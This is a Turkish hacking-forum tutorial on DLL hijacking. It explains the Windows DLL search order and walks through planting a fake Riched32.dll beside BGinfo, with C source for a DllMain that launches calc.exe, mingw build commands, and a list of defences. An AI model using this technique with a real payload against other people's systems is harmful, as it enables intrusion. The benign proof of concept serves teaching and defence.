DLL Hijacking Nedir ?

SeNZeRo

Özel Üye
8 Eyl 2016
5,100
14
Merhaba arkadaşlar. Bu yazımda DLL Hijacking saldırısının ne olduğunu, nasıl korunacağımızı ve nasıl yapıldığını inceleyeceğiz. Öncelikle DLL kavramının ne olduğunu öğrenerek başlayalım.

dll-icon.png


DLL Nedir ?

DLL, Dynamic Link Library’ nin baş harfleri kullanılarak oluşturulan bir kısaltmadır. Türkçe karşılığı ise Dinamik Link Kütüphanesi dir. DLL dosyalarının uzantısı .dll dir.
Microsoft tarafından geliştirilen DLL dosyalarının amacı, birden çok programın aynı işlemi yapmak için kullandığı fonksiyonları tek dosyada birleştirmektir. Program için gerekli olan fonksiyonların önce kendi içinde araması, bulamazsa dinamik link kütüphanesi’ nde yani DLL dosyasına aramasıdır.

Böylelikle her fonksiyonu farklı dosyadan almak yerine tek dosyadan alması programın kullandığı bellek boyutunu en aza indirerek programın ve bilgisayarın daha hızlı çalışmasını sağlar.


DLL Hijacking Nedir ?

Windows üzerinde çalışan programların ihtiyaç duyduğu DLL dosyalarını arama ve yükleme işlemlerinde ortaya çıkan bir zafiyettir. Programlar gerekli olan DLL dosyalarının tam yolunu belirtmezlerse Windows DLL yi belli bir sıralama ile arayacaktır. Öncelikli olarak Windows uygulamanın ilk yüklendiği dizini arar. Kötü niyetli kişi (hacker) daha önceden kullanılacak DLL yolunu tespit eder ve kendi hazırladığı DLL dosyası ile değiştirir ise hacker amacına ulaşmış olur. Sisteme sızma işlemini gerçekleştirmiş olur ve DLL Hijacking zafiyet gerçekleşmiş olur.
DLL Hijacking zafiyeti daha çok karşı taraftan size gönderilen Word, Powerpoint, Windows programları vb gibi dosyalarla size bulaşır. Eğer gönderilen dosyayı açarsanız harici bir DLL doyası yüklenir ise hacker’ in bilgisayarınıza uzaktan erişim sağlamasına yol açmış olursunuz. Günümüzde eskisi kadar kullanılmasa da hala kullanan kişiler mevcut.


DLL Arama Mantığı Nasıl ?

Windows önce programın yüklendiği dizinde arama yapar sonra diğer dizinlere geçer. Bundan daha önceden bahsetmiştim. Şimdi tam anlamıyla Windows DLL ararken hangi mantığı izlediğini aşağıdan öğrenebilirsiniz.

  • - Programın yüklendiği dizin
    [*]- C: \ Windows \ System32
    [*]- C: \ Windows \ System
    [*]- C: \ Windows
    [*]- Geçerli çalışma dizini
    [*]- PATH ortam değişkeni sistemindeki dizinler
    [*]- Kullanıcı PATH ortam değişkenindeki dizinler

Uygulama klasörü sistem klasörlerinden daha yüksek önceliğe sahip olduğundan eğer bir uygulama, sistem DLL' lerini kullanma maksadıyla kurulduysa, bir saldırgan kurulum dizininde bir DLL yerleştirebilir (ki varsayılanı C:\Program Files dizinidir) ve kod yürütebilir.

4.png


6.png


DLL Hijacking Örneği:


Şimdi de örnek olarak bir DLL hijacking uygulaması yapalım. Hedef uygulama olarak BGinfo uygulamasını seçiyorum. BGinfo uygulamasının çalışması için gerekli olan DLL Riched32.dll dosyasıdır. Biz Riched32.dll dosyası kendi yaptığımız zararlı DLL dosyası ile değiştirirsek ve BGinfo uygulaması ile aynı dizinde olursa Windows arama mantığından dolayı diğer dizinlere geçmeden ilk olarak uygulamanın bulunduğu dizine bakacaktır. Bundan dolayı bizim yerleştirdiğimiz zararlı DLL dosyası çalışacak ve sistem üzerinde uzaktan kod çalıştırma yetkisine sahip olacağız.

Windows 8.1 Pro makinemde bginfo.exe yüklendiğinde göründüğü gibi:

5.png


Oluşturduğum "kötü amaçlı" Riched32.dll aşağıdaki kodu kullanarak yaptım:

Kod:
#include <windows.h>
int fireLazor()
{
 WinExec("calc", 0);
 return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LP**** lpvReserved)
{
 fireLazor();
 return 0;
}

Kodları bir main.cpp dosyasına kaydederek Linux'ta derlenebilir (ben de Fedora'da yapmıştım). Derleme işlemi için gereken komutlar aşağıdadır:

Kod:
i686-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
i686-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a

Ancak, bunu yapmak için Mingw32'ye ihtiyacınız olacak. Sistemde yüklü olarak gelmeyenler, aşağıdaki komutu kullanarak yükleyebilirsiniz.

Kod:
sudo dnf install mingw32-gcc-c++.x86_64
Ayrıca ihtiyacınız olacak
sudo dnf install mingw32-winpthreads*

Derleme komutları main.dll adlı bir dosya oluşturacak ve istediğiniz gibi yeniden adlandırabilirsiniz. DLL yüklendiğinde, calc.exe'nin çalışmasına neden olacak, bu komutun yürütülmesinin mümkün olduğunu ve DLL Hijacking işleminin başarılı olduğunu gösterecektir.

DLL Hijacking Saldırılarına Karşı Korunma Yolları:

  • DLL Hijacking saldırısından korunmanın en iyi yolu tam, net, kesin bir DLL dosyası yolu belirtmektir. Harici kütüphaneler dahil ederken güvenli bir şekilde dahil edilmelidir.
    [*]Okuma, yazma izinlerini kontrol etmek.
    [*]Ağ paylaşımlarından kütüphanelerin yüklenmesini devre dışı bırakmak.
    [*]WebClient servisini devre dışı bırakmak.
    [*]Frewall ile 139. ve 445. portları engellemek.
    [*]Güncellemeleri ve patchleri sürekli olarak yüklemek.
 
Son düzenleme:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.